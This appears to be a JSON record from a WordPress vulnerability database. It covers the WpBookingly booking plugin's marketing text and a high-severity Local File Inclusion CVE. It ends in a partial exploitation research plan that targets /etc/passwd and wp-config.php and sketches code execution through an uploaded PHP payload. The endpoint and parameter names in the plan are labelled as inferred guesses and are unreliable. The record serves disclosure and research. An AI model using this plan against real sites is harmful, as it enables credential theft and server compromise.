[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f9mTrgI1RANpLZC5uEb8TZJondNbJOhwxJ5TqptQZMvk":3,"$fOENd6IuUNELCzpwETJg2o-x7iWC8NQg5obz0Dwe6NBM":1708,"$fQnrfIzVzkWU6acTJU0Gt9EzJGMQ9MLjbUbSerWIALmg":1712},{"slug":4,"name":5,"version":6,"author":7,"author_profile":8,"description":9,"short_description":10,"active_installs":11,"downloaded":12,"rating":13,"num_ratings":14,"last_updated":15,"tested_up_to":16,"requires_at_least":17,"requires_php":18,"tags":19,"homepage":24,"download_link":25,"security_score":26,"vuln_count":27,"unpatched_count":28,"last_vuln_date":29,"fetched_at":30,"discovery_status":31,"vulnerabilities":32,"developer":72,"crawl_stats":38,"alternatives":79,"analysis":185,"fingerprints":1682},"service-booking-manager","Appointment Booking Plugin for WooCommerce – WpBookingly | All-in-One Service Manager","1.3.0","magepeopleteam","https:\u002F\u002Fprofiles.wordpress.org\u002Fmagepeopleteam\u002F","\u003Cp>Manage appointments and services the easy way with WPBookingly, the ultimate WordPress service and \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fproduct\u002Fservice-booking-plugin-wpbookingly\u002F\" rel=\"nofollow ugc\">appointment booking plugin\u003C\u002Fa> for effortless appointments and service bookings.\u003Cbr \u002F>\nYou will love its clean & lightweight codebase, shortcode support and smooth integration with any theme or page builder. Get a reliable system for your business that keeps bookings organised, reduces no-shows, and saves time every day.\u003Cbr \u002F>\nTransfer your stress of bookings by organising your services in a clear, responsive calendar. Customers can view availability in real time, select their preferred time slots, and confirm appointments instantly – all from your website. Crafted with a mobile-first design, WPBookingly ensures flawless performance across all devices, giving both you and your clients a fast, reliable, and user-friendly booking system\u003C\u002Fp>\n\u003Cp>Here is Quick Overview:\u003Cbr \u002F>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F46_WERFyyGc?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Ch4>🧩 See Who’s Winning with WPBookingly\u003C\u002Fh4>\n\u003Cp>WPBookingly is an easy-to-use appointment and service booking plugin for WordPress.\u003Cbr \u002F>\nIt offe rs a code-free setup and a clean, modern interface, making it the perfect solution for users from different backgrounds, including:\u003Cbr \u002F>\n💇‍♀️ \u003Cstrong>Salon & Spa Owner – Manage Salon & Spa Bookings\u003C\u002Fstrong>:\u003Cbr \u002F>\n Let clients choose their preferred stylist, service, and time slot – all from your website.\u003Cbr \u002F>\n🧹\u003Cstrong>Cleaning and Repair Service Providers\u003C\u002Fstrong>:\u003Cbr \u002F>\nAssign jobs, set availability, and confirm bookings instantly to keep your service flow organised.\u003Cbr \u002F>\n💼 \u003Cstrong>Client Appointments for Consultants\u003C\u002Fstrong>:\u003Cbr \u002F>\n Schedule one-on-one sessions, send reminders, and manage payments effortlessly.\u003Cbr \u002F>\n🏥 \u003Cstrong>Organise Appointments for Clinics & Therapists\u003C\u002Fstrong>:\u003Cbr \u002F>\nHandle multiple staff schedules, patient bookings, and follow-up sessions from one dashboard.\u003Cbr \u002F>\n📸 \u003Cstrong>Photographers and Creative Professionals\u003C\u002Fstrong>:\u003Cbr \u002F>\nDisplay available dates, manage session types, and collect deposits online.\u003Cbr \u002F>\n🚗 \u003Cstrong>Manage Car Rental & Automotive Services\u003C\u002Fstrong>:\u003Cbr \u002F>\n Show available vehicles, set hourly or daily pricing, and allow instant online reservations.\u003Cbr \u002F>\n🎓 \u003Cstrong>Tutors and Training centres\u003C\u002Fstrong>:\u003Cbr \u002F>\n Create recurring classes, manage student lists, and accept payments without hassle.\u003C\u002Fp>\n\u003Cp>Experience the most user-friendly appointment booking plugin for WordPress – WPBookingly.\u003Cbr \u002F>\n👉 Explore it Now: \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fproduct\u002Fservice-booking-plugin-wpbookingly\u002F\" rel=\"nofollow ugc\">MagePeople\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fservice-booking-manager.zip\" rel=\"nofollow ugc\">WPBookingly Download Free\u003C\u002Fa>  | \u003Ca href=\"https:\u002F\u002Fwpbookingly.com\u002F\" rel=\"nofollow ugc\">WPBookingly Frontend Demo\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fdocs.mage-people.com\u002Fservice-booking-manager\u002F\" rel=\"nofollow ugc\">WPBookingly Documentation\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>All booking Business Websites Should have the Following Features\u003C\u002Fh4>\n\u003Cp>Up-to-date, practical, and user-friendly features help a booking site stand out and succeed.\u003Cbr \u002F>\n Here are some key essentials every modern booking system should include 👇\u003Cbr \u002F>\n🧭 \u003Cstrong>Intuitive Booking Interface\u003C\u002Fstrong>:\u003Cbr \u002F>\n Clean, easy-to-use forms that make scheduling quick and hassle-free.\u003Cbr \u002F>\n💳 \u003Cstrong>Secure Online Payments\u003C\u002Fstrong>:\u003Cbr \u002F>\n Supports major gateways like PayPal, Stripe, and other e-commerce platforms for safe, seamless transactions.\u003Cbr \u002F>\n🧩 \u003Cstrong>Flexible Booking Form Placement\u003C\u002Fstrong>:\u003Cbr \u002F>\n Easily embed booking forms anywhere on your website for maximum convenience and accessibility.\u003C\u002Fp>\n\u003Cp>📅 \u003Cstrong>Real-Time Calendar Sync\u003C\u002Fstrong>:\u003Cbr \u002F>\n Keep all appointments automatically updated and avoid double bookings with instant synchronisation.\u003Cbr \u002F>\n🔁 \u003Cstrong>Recurring & Group Bookings\u003C\u002Fstrong>:\u003Cbr \u002F>\n Let clients schedule repeat sessions or multiple participants in one transaction.\u003Cbr \u002F>\n📨 \u003Cstrong>Automated Notifications\u003C\u002Fstrong>:\u003Cbr \u002F>\n Send email and SMS reminders to reduce no-shows and keep clients informed.\u003C\u002Fp>\n\u003Cp>🌍 \u003Cstrong>Multilingual & Theme Compatibility\u003C\u002Fstrong>:\u003Cbr \u002F>\n Work seamlessly with any WordPress theme and support multiple languages for global accessibility.\u003Cbr \u002F>\n📊 \u003Cstrong>Data Export & Reporting\u003C\u002Fstrong>:\u003Cbr \u002F>\n Export booking data in CSV or other formats for performance tracking, analysis, or offline management.\u003C\u002Fp>\n\u003Ch4>Discover the Key Features of WPBookingly\u003C\u002Fh4>\n\u003Cp>WPBookingly gives you everything you need to manage appointments smoothly – no coding required.\u003Cbr \u002F>\nPerfect for small businesses, freelancers, and developers building booking systems for clients.\u003Cbr \u002F>\n🧭 \u003Cstrong>Effortless Booking Interface\u003C\u002Fstrong>:\u003Cbr \u002F>\n Clean, user-friendly forms let clients schedule appointments in seconds — helping you convert visitors into customers.\u003Cbr \u002F>\n🧩 \u003Cstrong>Flexible Form Placement\u003C\u002Fstrong>:\u003Cbr \u002F>\n Use simple shortcodes to place booking forms anywhere on your WordPress site for maximum convenience.\u003Cbr \u002F>\n📱 \u003Cstrong>Fully Responsive Design\u003C\u002Fstrong>:\u003Cbr \u002F>\n Optimised for desktops, tablets, and smartphones — ensuring a seamless booking experience on every device.\u003Cbr \u002F>\n📨 \u003Cstrong>Automated Email Notifications\u003C\u002Fstrong>:\u003Cbr \u002F>\n Reduce no-shows with instant confirmations and reminders sent automatically to your clients.\u003Cbr \u002F>\n💳 \u003Cstrong>WooCommerce Payment Support\u003C\u002Fstrong>:\u003Cbr \u002F>\n Accept secure online payments through PayPal, Stripe, and other popular WooCommerce gateways.\u003Cbr \u002F>\n🌍 \u003Cstrong>Multilingual & Theme Compatible\u003C\u002Fstrong>:\u003Cbr \u002F>\n Fully translatable and visually adaptable to any WordPress theme or layout.\u003Cbr \u002F>\n💰 \u003Cstrong>Flexible Pricing Options\u003C\u002Fstrong>:\u003Cbr \u002F>\n Set different prices for each service type (e.g., standard vs. premium).\u003Cbr \u002F>\n👨‍👩‍👧 \u003Cstrong>Group Booking Support\u003C\u002Fstrong>:\u003Cbr \u002F>\n Allow multiple clients to book the same service at once.\u003Cbr \u002F>\n🕒 \u003Cstrong>Custom Staff Schedules\u003C\u002Fstrong>:\u003Cbr \u002F>\n Define unique working hours for each team member.\u003Cbr \u002F>\n⏱️ \u003Cstrong>Service Duration Settings\u003C\u002Fstrong>:\u003Cbr \u002F>\n Configure custom time lengths for different services.\u003Cbr \u002F>\n📅 \u003Cstrong>Automated Time Slot Management\u003C\u002Fstrong>:\u003Cbr \u002F>\n Prevent overlapping bookings and manage availability automatically.\u003Cbr \u002F>\n🧍\u003Cstrong>Custom Input Fields\u003C\u002Fstrong>:\u003Cbr \u002F>\n Collect additional client details with fully customizable form fields.\u003Cbr \u002F>\n✏️ \u003Cstrong>Edit Booking Options\u003C\u002Fstrong>:\u003Cbr \u002F>\n Modify or update existing bookings directly from the dashboard.\u003Cbr \u002F>\n⭐ \u003Cstrong>Featured Services\u003C\u002Fstrong>:\u003Cbr \u002F>\n Highlight popular or high-demand services for better visibility.\u003Cbr \u002F>\n🎟️ \u003Cstrong>Coupon Code Support\u003C\u002Fstrong>:\u003Cbr \u002F>\n Offer discount codes to attract new clients and reward loyal ones.\u003C\u002Fp>\n\u003Ch4>Upgrade to WPBookingly Pro and Unlock More Power\u003C\u002Fh4>\n\u003Cp>Upgrade to PRO and transform your booking system into a powerful, automated business engine. Perfect for growing businesses, service providers, and enterprises seeking maximum efficiency:\u003Cbr \u002F>\n\u003Cstrong>PDF Ticket Generation\u003C\u002Fstrong>:\u003Cbr \u002F>\n Provide clients with downloadable, professional booking confirmations or tickets.\u003Cbr \u002F>\n\u003Cstrong>Basic Staff Management\u003C\u002Fstrong>:\u003Cbr \u002F>\n Assign services to team members and manage staff schedules without unnecessary complexity.\u003Cbr \u002F>\n\u003Cstrong>CSV Data Export\u003C\u002Fstrong>:\u003Cbr \u002F>\n Export booking records easily for offline access, reports, or analysis.\u003Cbr \u002F>\n\u003Cstrong>Advanced Staff Management\u003C\u002Fstrong>:\u003Cbr \u002F>\nAssign services to specific staff, manage individual schedules, and optimise team productivity.\u003Cbr \u002F>\n\u003Cstrong>Real-Time Google Calendar Sync\u003C\u002Fstrong>:\u003Cbr \u002F>\nAvoid double bookings and streamline operations with live calendar integration.\u003Cbr \u002F>\n\u003Cstrong>Recurring Appointments\u003C\u002Fstrong>:\u003Cbr \u002F>\nEnable clients to book repeat sessions automatically, driving loyalty and recurring revenue.\u003Cbr \u002F>\n\u003Cstrong>PDF Invoices & Tickets\u003C\u002Fstrong>:\u003Cbr \u002F>\nAutomatically generate professional confirmations for clients, reinforcing trust.\u003Cbr \u002F>\n\u003Cstrong>Custom Client Forms\u003C\u002Fstrong>:\u003Cbr \u002F>\nCollect extra information with personalised fields to tailor services to each client.\u003Cbr \u002F>\n\u003Cstrong>Group & Multi-Service Booking\u003C\u002Fstrong>:\u003Cbr \u002F>\nLet clients book multiple services or group sessions in one seamless transaction.\u003Cbr \u002F>\n\u003Cstrong>Automated SMS Notifications\u003C\u002Fstrong>:\u003Cbr \u002F>\nKeep clients informed with reminders, confirmations, and follow-ups via SMS.\u003Cbr \u002F>\n\u003Cstrong>Advanced Analytics & Reporting\u003C\u002Fstrong>:\u003Cbr \u002F>\nGain insights into appointments, revenue trends, and popular services for smarter decisions.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Extended WooCommerce Payment Options\u003C\u002Fstrong>:\u003Cbr \u002F>\nAccess additional global and local payment gateways for smooth transactions.\u003Cbr \u002F>\nTry the \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fproduct\u002Fwordpress-service-booking-plugin-all-kind-of-service-booking-solution\u002F\" rel=\"nofollow ugc\">WPBookingly PRO demo\u003C\u002Fa> to explore all features in action.\u003C\u002Fp>\n\u003Ch4>Industry Specific Guide\u003C\u002Fh4>\n\u003Cp>Let’s have a detailed guide on setting up a booking and appointment solution for your specific business or industry. We are not leaving you just providing the plugin, but we are guiding you on how to build the system in a detailed step-by-step process. Discover below and build your business-specific system.\u003C\u002Fp>\n\u003Ch4>How to make a Salon or Spa Booking Website with WPBookingly?\u003C\u002Fh4>\n\u003Cp>You can easily create a website where your customers can book a salon service and make an appointment from your salon.\u003C\u002Fp>\n\u003Cp>Building a salon booking system with WPBookingly is quick and hassle-free:\u003C\u002Fp>\n\u003Cp>● \u003Cstrong>Set Up WordPress\u003C\u002Fstrong>: Buy a domain, hosting, and install WordPress.\u003Cbr \u002F>\n● \u003Cstrong>Pick a Theme\u003C\u002Fstrong>: Choose a modern salon theme that matches your brand.\u003Cbr \u002F>\n● \u003Cstrong>Install WPBookingly\u003C\u002Fstrong>: Add and activate the plugin from your dashboard.\u003Cbr \u002F>\n● \u003Cstrong>Configure WooCommerce\u003C\u002Fstrong>: Set up payments, business info, and store details.\u003Cbr \u002F>\n● \u003Cstrong>Add Services\u003C\u002Fstrong>: List your salon services, pricing, schedules, and extras.\u003Cbr \u002F>\n● \u003Cstrong>Publish Booking Form\u003C\u002Fstrong>: Place it anywhere using a simple shortcode.\u003Cbr \u002F>\n● \u003Cstrong>Start Booking\u003C\u002Fstrong>: Let clients book online and manage everything from the backend.\u003Cbr \u002F>\n● \u003Cstrong>Upgrade to Pro\u003C\u002Fstrong>: Unlock staff scheduling, Google Calendar sync, and recurring bookings.\u003C\u002Fp>\n\u003Cp>📘 = Need a step-by-step walkthrough? \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fwordpress-salon-booking-plugin\u002F\" rel=\"nofollow ugc\">Read the detailed guide here\u003C\u002Fa> \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> =\u003C\u002Fp>\n\u003Cp>How to Make a Musical \u002F Educational Class Booking Website Using WPBookingly?\u003Cbr \u002F>\nYou can easily build a website where students can book classes, tutoring sessions, or workshops directly from your WordPress site.\u003Cbr \u002F>\nBuilding an educational booking system with WPBookingly is quick and flexible:\u003C\u002Fp>\n\u003Cp>● \u003Cstrong>Set Up WordPress\u003C\u002Fstrong>: Get a domain, hosting, and install WordPress.\u003Cbr \u002F>\n● \u003Cstrong>Pick a Theme\u003C\u002Fstrong>: Choose an education, coaching, or LMS-compatible theme.\u003Cbr \u002F>\n● \u003Cstrong>Install WPBookingly\u003C\u002Fstrong>: Add and activate the plugin from your dashboard.\u003Cbr \u002F>\n● \u003Cstrong>Configure WooCommerce\u003C\u002Fstrong>: Set up secure payments with Stripe or PayPal.\u003Cbr \u002F>\n● \u003Cstrong>Add Classes or Courses\u003C\u002Fstrong>: List your lessons with details, prices, and instructors.\u003Cbr \u002F>\n● \u003Cstrong>Publish Booking Form\u003C\u002Fstrong>: Use a shortcode to display it on your “Book a Class” page.\u003Cbr \u002F>\n● \u003Cstrong>Start Accepting Bookings\u003C\u002Fstrong>: Let students schedule classes anytime online.\u003Cbr \u002F>\n● \u003Cstrong>Upgrade to Pro\u003C\u002Fstrong>: Unlock staff scheduling, Google Calendar sync, and recurring lessons.\u003C\u002Fp>\n\u003Cp>📘= Need a step-by-step walkthrough? \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fhow-to-set-up-an-online-musical-class-appointment-system-using-wpbookingly\u002F\" rel=\"nofollow ugc\">Read the detailed guide here\u003C\u002Fa> \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> =\u003C\u002Fp>\n\u003Cp>How to Make a Healthcare Appointment System Using WPBookingly?\u003Cbr \u002F>\nYou can easily build a Healthcare appointment booking website where patients can schedule visits with doctors, specialists, or clinics online.\u003Cbr \u002F>\nBuilding your Healthcare Appointment System with WPBookingly is quick and straightforward:\u003C\u002Fp>\n\u003Cp>● \u003Cstrong>Set Up WordPress\u003C\u002Fstrong>: Get a domain, hosting, and install WordPress.\u003Cbr \u002F>\n● \u003Cstrong>Pick a Theme\u003C\u002Fstrong>: Choose a healthcare or medical clinic theme that fits your brand.\u003Cbr \u002F>\n● \u003Cstrong>Install WPBookingly\u003C\u002Fstrong>: Add and activate the plugin from your WordPress dashboard.\u003Cbr \u002F>\n● \u003Cstrong>Configure WooCommerce\u003C\u002Fstrong>: Enable secure payments via Stripe, PayPal, or offline methods.\u003Cbr \u002F>\n● \u003Cstrong>Add Medical Services\u003C\u002Fstrong>: Create listings for general consultations, specialist visits, or lab tests with prices and durations.\u003Cbr \u002F>\n● \u003Cstrong>Publish Booking Form\u003C\u002Fstrong>: Embed your booking shortcode on a “Book Appointment” page.\u003Cbr \u002F>\n● \u003Cstrong>Start Accepting Appointments\u003C\u002Fstrong>: Let patients book and pay online anytime.\u003Cbr \u002F>\n● \u003Cstrong>Upgrade to Pro\u003C\u002Fstrong>: Unlock staff scheduling, Google Calendar sync, and patient assignment to doctors.\u003C\u002Fp>\n\u003Cp>📘= Need a step-by-**step walkthrough? \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fset-up-an-online-medical-appointment-system\u002F\" rel=\"nofollow ugc\">Read the detailed guide here\u003C\u002Fa> \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> =\u003C\u002Fp>\n\u003Cp>How to Make a Fitness & Gym Booking System Using WPBookingly?\u003Cbr \u002F>\nYou can easily create a gym or fitness website where clients can book workout sessions, personal training, or yoga classes directly from your WordPress site.\u003Cbr \u002F>\nBuilding a fitness booking system with WPBookingly is simple and efficient:\u003C\u002Fp>\n\u003Cp>● \u003Cstrong>Set Up WordPress\u003C\u002Fstrong>: Purchase hosting, a domain, and install WordPress.\u003Cbr \u002F>\n● \u003Cstrong>Pick a Theme\u003C\u002Fstrong>: Choose a gym, yoga, or fitness theme that aligns with your brand.\u003Cbr \u002F>\n● \u003Cstrong>Install WPBookingly\u003C\u002Fstrong>: Add and activate the plugin from your dashboard.\u003Cbr \u002F>\n● \u003Cstrong>Configure WooCommerce\u003C\u002Fstrong>: Set up secure payments through Stripe, PayPal, or other gateways.\u003Cbr \u002F>\n● \u003Cstrong>Add Fitness Services\u003C\u002Fstrong>: Create listings for classes, training sessions, or memberships with time, price, and capacity.\u003Cbr \u002F>\n● \u003Cstrong>Publish Booking Form\u003C\u002Fstrong>: Insert the booking shortcode on your “Book a Class” or “Join Now” page.\u003Cbr \u002F>\n● \u003Cstrong>Start Accepting Bookings\u003C\u002Fstrong>: Let clients reserve their sessions and manage schedules online.\u003Cbr \u002F>\n● \u003Cstrong>Upgrade to Pro\u003C\u002Fstrong>: Unlock multi-trainer scheduling, recurring classes, Google Calendar sync, and performance analytics.\u003C\u002Fp>\n\u003Cp>📘 Need a step-by-step walkthrough? \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fyoga-class-booking-system-with-wpbookingly\u002F\" rel=\"nofollow ugc\">Read the detailed guide here\u003C\u002Fa> \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>How to Make a Consultancy & Coaching Booking System Using WPBookingly?\u003Cbr \u002F>\nYou can easily build a professional website where clients can book consultations, coaching sessions, or mentoring calls directly from your WordPress site.\u003Cbr \u002F>\nCreating a consultancy or coaching booking system with WPBookingly is fast and flexible:\u003C\u002Fp>\n\u003Cp>● \u003Cstrong>Set Up WordPress\u003C\u002Fstrong>: Get hosting, a domain, and install WordPress.\u003Cbr \u002F>\n● \u003Cstrong>Pick a Theme\u003C\u002Fstrong>: Choose a clean, business, or coaching theme that fits your brand style.\u003Cbr \u002F>\n● \u003Cstrong>Install WPBookingly\u003C\u002Fstrong>: Add and activate the plugin from your WordPress dashboard.\u003Cbr \u002F>\n● \u003Cstrong>Configure WooCommerce\u003C\u002Fstrong>: Enable secure payments via Stripe, PayPal, or other gateways.\u003Cbr \u002F>\n● \u003Cstrong>Add Services\u003C\u002Fstrong>: Create listings for consulting calls, coaching sessions, or workshops with pricing and duration.\u003Cbr \u002F>\n● \u003Cstrong>Publish Booking Form\u003C\u002Fstrong>: Place your shortcode on a “Book a Session” or “Schedule Consultation” page.\u003Cbr \u002F>\n● \u003Cstrong>Start Accepting Bookings\u003C\u002Fstrong>: Let clients book appointments and manage schedules online.\u003C\u002Fp>\n\u003Cp>Upgrade to Pro: Unlock multi-coach scheduling, Google Calendar sync, recurring sessions, and client management tools.\u003C\u002Fp>\n\u003Ch4>How to Build Any Kind of Professional Service Booking Website Using WordPress Plugins?\u003C\u002Fh4>\n\u003Cp>You can easily create a website where clients can book professional services like photography, cleaning, legal advice, or repairs—right from your WordPress site.\u003Cbr \u002F>\nBuilding a professional service booking system with WPBookingly is quick and reliable:\u003C\u002Fp>\n\u003Cp>● \u003Cstrong>Set Up WordPress\u003C\u002Fstrong>: Get a domain, hosting, and install WordPress.\u003Cbr \u002F>\n● \u003Cstrong>Pick a Theme\u003C\u002Fstrong>: Choose a modern, service-oriented theme that fits your business niche.\u003Cbr \u002F>\n● \u003Cstrong>Install WPBookingly\u003C\u002Fstrong>: Add and activate the plugin from your dashboard.\u003Cbr \u002F>\n● \u003Cstrong>Configure WooCommerce\u003C\u002Fstrong>: Set up payment gateways such as Stripe, PayPal, or offline payments.\u003Cbr \u002F>\n● \u003Cstrong>Add Services\u003C\u002Fstrong>: Create listings for each service with details, duration, and pricing.\u003Cbr \u002F>\n● \u003Cstrong>Publish Booking Form\u003C\u002Fstrong>: Place the shortcode on your “Book a Service” or “Get an Appointment” page.\u003Cbr \u002F>\n● \u003Cstrong>Start Accepting Bookings\u003C\u002Fstrong>: Let clients schedule and pay for services online.\u003Cbr \u002F>\n● \u003Cstrong>Upgrade to Pro\u003C\u002Fstrong>: Access staff scheduling, Google Calendar sync, recurring appointments, and PDF invoices.\u003C\u002Fp>\n\u003Ch4>How to Make a Car Rental & Repair Services Booking System Using a WordPress Plugin?\u003C\u002Fh4>\n\u003Cp>You can easily create a car rental or repair booking website where customers can rent vehicles or book maintenance services directly online.\u003Cbr \u002F>\nBuilding a car rental or repair booking system with WPBookingly is simple and efficient:\u003C\u002Fp>\n\u003Cp>● \u003Cstrong>Set Up WordPress\u003C\u002Fstrong>: Purchase a domain, hosting, and install WordPress.\u003Cbr \u002F>\n● \u003Cstrong>Select a Theme\u003C\u002Fstrong>: Choose a responsive automotive or repair service theme that suits your brand.\u003Cbr \u002F>\n● \u003Cstrong>Install WPBookingly\u003C\u002Fstrong>: Add and activate the plugin from your WordPress dashboard.\u003Cbr \u002F>\n● \u003Cstrong>Configure WooCommerce\u003C\u002Fstrong>: Set up secure payments through Stripe, PayPal, or any preferred gateway.\u003Cbr \u002F>\n● \u003Cstrong>Add Vehicles or Services\u003C\u002Fstrong>: List cars for rent or repair services with images, pricing, duration, and extras.\u003Cbr \u002F>\n● \u003Cstrong>Set Availability\u003C\u002Fstrong>: Define time slots, booking limits, and service schedules.\u003Cbr \u002F>\n● \u003Cstrong>Publish the Booking Form\u003C\u002Fstrong>: Use WPBookingly’s shortcode to place your booking system anywhere on your site.\u003Cbr \u002F>\n● \u003Cstrong>Automate Notifications\u003C\u002Fstrong>: Send confirmations, reminders, and invoices to customers instantly.\u003Cbr \u002F>\n● \u003Cstrong>Upgrade to Pro\u003C\u002Fstrong>: Unlock advanced features like Google Calendar sync, recurring bookings, and multi-location management.\u003C\u002Fp>\n\u003Cp>With WPBookingly, you can turn any car rental or repair business into a fully automated, easy-to-manage online booking system — saving time and increasing bookings effortlessly.\u003C\u002Fp>\n\u003Cp>📘 = Need a step-by-step walkthrough? \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fcar-rental-plugin-for-wordpress\u002F\" rel=\"nofollow ugc\">Read the detailed guide here\u003C\u002Fa> \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> =\u003C\u002Fp>\n\u003Cp>How to Make a Restaurant & Hospitality Booking System Using a WordPress Plugin?\u003Cbr \u002F>\nYou can easily build a restaurant or hospitality booking website where customers can reserve tables, book events, or schedule stays directly online.\u003Cbr \u002F>\nCreating a restaurant booking system with WPBookingly is fast and simple:\u003Cbr \u002F>\n● \u003Cstrong>Set Up WordPress\u003C\u002Fstrong>: Get a domain, hosting, and install WordPress.\u003Cbr \u002F>\n● \u003Cstrong>Choose a Theme\u003C\u002Fstrong>: Pick a stylish restaurant or hospitality theme that fits your brand identity.\u003Cbr \u002F>\n● \u003Cstrong>Install WPBookingly\u003C\u002Fstrong>: Add and activate the plugin from your dashboard.\u003Cbr \u002F>\n● \u003Cstrong>Configure WooCommerce\u003C\u002Fstrong>: Set up secure payment options with PayPal, Stripe, or other gateways.\u003Cbr \u002F>\n● \u003Cstrong>Add Services or Tables\u003C\u002Fstrong>: List table types, room options, dining packages, or event bookings with detailed info and pricing.\u003Cbr \u002F>\n● \u003Cstrong>Set Availability\u003C\u002Fstrong>: Manage booking hours, staff schedules, and peak dining times.\u003Cbr \u002F>\n● \u003Cstrong>Publish the Booking Form\u003C\u002Fstrong>: Use WPBookingly shortcodes to display booking options anywhere on your website.\u003Cbr \u002F>\n● \u003Cstrong>Automate Communication\u003C\u002Fstrong>: Send instant confirmations, reminders, and digital receipts to your guests.\u003Cbr \u002F>\n● \u003Cstrong>Upgrade to Pro\u003C\u002Fstrong>: Access advanced tools like Google Calendar sync, multi-staff scheduling, and recurring reservations.\u003C\u002Fp>\n\u003Cp>📘 = Need a step-by-step walkthrough? \u003Ca href=\"https:\u002F\u002Fmage-people.com\u002Fbooking-uc\u002Fwordpress-medical-service-appointment-booking-solution\u002F\" rel=\"nofollow ugc\">Read the detailed guide here\u003C\u002Fa> \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan> =\u003C\u002Fp>\n","Supercharge your appointment and service scheduling with WPBookingly – the modern, mobile-ready booking plugin built to streamline your business.",200,11111,86,10,"2026-02-20T06:28:00.000Z","6.9.4","5.3","7.0",[20,21,22,23],"appointment-booking","booking-calendar","car-wash-booking","service-booking","http:\u002F\u002Fmage-people.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fservice-booking-manager.zip",65,2,1,"2026-02-18 00:00:00","2026-04-16T10:56:18.058Z","no_bundle",[33,56],{"id":34,"url_slug":35,"title":36,"description":37,"plugin_slug":4,"theme_slug":38,"affected_versions":39,"patched_in_version":6,"severity":40,"cvss_score":41,"cvss_vector":42,"vuln_type":43,"published_date":29,"updated_date":44,"references":45,"days_to_patch":47,"patch_diff_files":48,"patch_trac_url":38,"research_status":49,"research_verified":50,"research_rounds_completed":51,"research_plan":52,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":53,"research_started_at":54,"research_completed_at":55,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2026-32384","wpbookingly-authenticated-contributor-local-file-inclusion","WpBookingly \u003C= 1.2.9 - Authenticated (Contributor+) Local File Inclusion","The WpBookingly plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 1.2.9. This makes it possible for authenticated attackers, with contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \"safe\" file types can be uploaded and included.",null,"\u003C=1.2.9","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Control of Filename for Include\u002FRequire Statement in PHP Program ('PHP Remote File Inclusion')","2026-04-15 20:55:08",[46],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F00612475-7efd-46f2-8196-666900ae7df3?source=api-prod",57,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-32384 (WpBookingly LFI)\n\n## 1. Vulnerability Summary\nThe **WpBookingly** plugin (\u003C= 1.2.9) is vulnerable to **Local File Inclusion (LFI)** due to insufficient sanitization of a user-supplied file path parameter in an authenticated AJAX or admin page handler. A user with **Contributor-level** permissions or higher can exploit this to include arbitrary files from the server's filesystem. This can lead to sensitive information disclosure (e.g., `\u002Fetc\u002Fpasswd`, `wp-config.php`) or Remote Code Execution (RCE) if an attacker can upload a file (e.g., an image with PHP payload) and include it.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fadmin-ajax.php` (Authenticated)\n- **Action:** `wpbookingly_get_view` (Inferred based on plugin architecture)\n- **Vulnerable Parameter:** `view` or `template` (Inferred)\n- **Authentication Level:** Contributor+ (Requires a valid login session)\n- **Preconditions:** The attacker must have credentials for a user with at least the \"Contributor\" role.\n\n## 3. Code Flow (Inferred)\n1. **Request Entry:** The user sends a POST request to `admin-ajax.php` with a specific `action` parameter (e.g., `wpbookingly_get_view`).\n2. **Hook Registration:** The plugin registers the action in its main class or admin class:\n   `add_action( 'wp_ajax_wpbookingly_get_view', array( $this, 'ajax_get_view' ) );`\n3. **Handler Execution:** The `ajax_get_view` function is called.\n4. **Parameter Extraction:** The function retrieves the path from `$_POST['view']`.\n5. **Vulnerable Sink:** The input is passed to an `include` or `require` statement without directory traversal protection (`basename()`) or allow-listing.\n   ```php\n   \u002F\u002F Vulnerable Code Example\n   public function ajax_get_view() {\n       $view = $_POST['view']; \n       include WPBOOKINGLY_DIR . 'includes\u002Fviews\u002F' . $view . '.php';\n   